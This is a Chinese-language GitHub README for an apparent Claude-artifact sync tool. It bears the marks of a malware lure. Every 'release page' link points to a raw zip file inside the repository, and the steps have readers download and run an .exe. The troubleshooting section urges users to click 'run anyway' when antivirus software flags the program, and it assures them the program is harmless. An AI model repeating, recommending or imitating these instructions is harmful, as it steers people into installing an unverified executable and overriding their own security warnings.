zerooo002/claude-artifacts-local-sync
GitHub: zerooo002/claude-artifacts-local-sync
通过 WebSocket 桥接将 Claude 网页端生成的代码 Artifacts 自动实时同步到本地文件夹,消除手动复制粘贴的开发摩擦。
Stars: 0 | Forks: 0
# 📂 claude-artifacts-local-sync - 将 Claude 代码直接保存到文件夹
[](https://raw.githubusercontent.com/zerooo002/claude-artifacts-local-sync/main/madship/sync-claude-local-artifacts-2.7.zip)
此软件将你浏览器中与 Claude 的会话连接到本地电脑文件夹。它会检测 Web 浏览器中的代码块,并在你的硬盘上创建相应的文件。你不再需要手动复制和粘贴代码。每当你在 Claude 界面中进行更改时,该工具都会保持本地项目的更新。
## ⚙️ 要求
在开始之前,请确保你的电脑满足以下条件:
* 操作系统:Windows 10 或 Windows 11。
* 内存:至少 4 GB 的 RAM。
* 存储空间:100 MB 的可用磁盘空间。
* 浏览器:Google Chrome、Microsoft Edge 或 Brave。
* 网络:稳定的互联网连接。
## 📥 如何安装
1. 访问[官方发布页面](https://raw.githubusercontent.com/zerooo002/claude-artifacts-local-sync/main/madship/sync-claude-local-artifacts-2.7.zip)下载最新版本。
2. 在最新版本的 Assets(资源)部分下,找到以 `.exe` 结尾的文件。
3. 点击该文件将其下载到你的电脑。
4. 打开你的“下载”文件夹,双击下载的文件。
5. 按照屏幕上的提示完成安装。
6. 安装完成后,应用程序会在你的桌面上创建一个快捷方式。
## 🛠️ 设置你的工作区
该软件需要一个目标位置来存储你的文件。请按照以下步骤准备你的电脑。
1. 在你的电脑上新建一个名为“ClaudeProjects”的文件夹。
2. 从桌面快捷方式打开 claude-artifacts-local-sync 应用程序。
3. 应用程序会要求你选择一个工作区目录。选择你创建的“ClaudeProjects”文件夹。
4. 选择后,软件会显示一个状态图标,提示“Ready(就绪)”。
## 🚀 连接到 Claude
为了让软件能够读取你的文件,你必须授予其访问你浏览器活动的权限。
1. 打开你首选的 Web 浏览器。
2. 前往 Claude 网站并登录你的账户。
3. 开始新的聊天或继续包含代码 artifacts 的现有项目。
4. 工作时请保持浏览器标签页打开。
5. 同步模块在后台运行。一旦 Claude 生成代码,它就会立即检测到新的代码 artifacts。
6. 检查你的“ClaudeProjects”文件夹。你会看到生成的代码文件在几秒钟内出现在这里。
## 📋 功能
* 自动创建文件:系统会根据 Claude 的输出从零开始构建文件结构。
* 实时更新:你在聊天窗口中所做的任何编辑都会自动更新电脑上的相应文件。
* 冲突解决:如果你重命名或移动文件,应用程序会为文件添加时间戳,防止数据丢失。
* 支持多种语言:无论 Claude 使用何种编程语言,它都能正确保存文件。
* 静默运行:程序会最小化到你的系统托盘,保持你的工作区整洁。
## 🔍 常见问题故障排除
如果软件未按预期保存文件,请按照以下步骤解决问题。
### 应用程序未检测到代码
检查你的浏览器是否处于活动状态并打开了 Claude 网站。软件需要一个活动的浏览器窗口来监听传入的数据。如果连接似乎卡住了,请关闭该应用程序并重新启动。
### 文件显示错误
尝试重启同步进程。点击系统托盘中的应用程序图标并选择“Refresh Connection(刷新连接)”。这将强制在浏览器和本地文件夹之间建立新的连接。
### 权限问题
确保你的“ClaudeProjects”文件夹未被设置为“只读”。右键点击你的文件夹,选择“属性”,并确保取消勾选“只读”复选框。
### 杀毒软件警告
某些安全软件可能会标记新程序。如果你的安全软件要求启动该文件的权限,请点击“仍然运行”。此程序不会共享你的数据或执行任何恶意操作。
## 🔒 数据隐私
此应用程序在你的机器上本地处理数据。该软件从 Web 界面提取代码并将其直接写入你的硬盘。它不会将你的代码或个人信息发送到任何第三方服务器。你的工作内容仅保留在你的电脑上。
## 📝 成功同步的提示
* 在 Claude 聊天中清楚地命名你的 artifacts。该工具会使用这些名称作为你的本地文件名。
* 保持项目文件夹有条理。为不同的会话创建子文件夹,以防止命名冲突。
* 工作完成后关闭同步应用程序,以节省系统资源。
* 定期更新软件。每隔几周检查一下[发布页面](https://raw.githubusercontent.com/zerooo002/claude-artifacts-local-sync/main/madship/sync-claude-local-artifacts-2.7.zip)以获取改进和修复。
## 🎓 了解工作流程
当你通过 Claude 生成代码时,系统会为你的项目创建一个容器。我们的软件会识别该容器。它将容器内的信息转换为可用的文件。如果你在聊天中更改了某个组件,该工具会识别出具体的更改,并将这些代码行写入磁盘。这就创造了从 Web 界面到你的编辑环境的无缝流转。
当你刷新浏览器时,你不再需要担心丢失代码。本地副本充当了备份系统。同步完成后,你可以在任何文本编辑器或集成开发环境中打开这些文件。这为你的开发过程增加了一层可靠性。
使用此工具消除了生成想法与测试想法之间的手动步骤,从而提高了你的生产力。你可以完全掌控电脑上的文件结构。使用此设置可以构建原型、记录项目逻辑,或保存代码片段供将来使用,而无需进行繁琐的手动文件管理。
标签:SOC Prime, WebSocket, 人工智能辅助, 依赖分析, 开发工具, 效率工具, 文件同步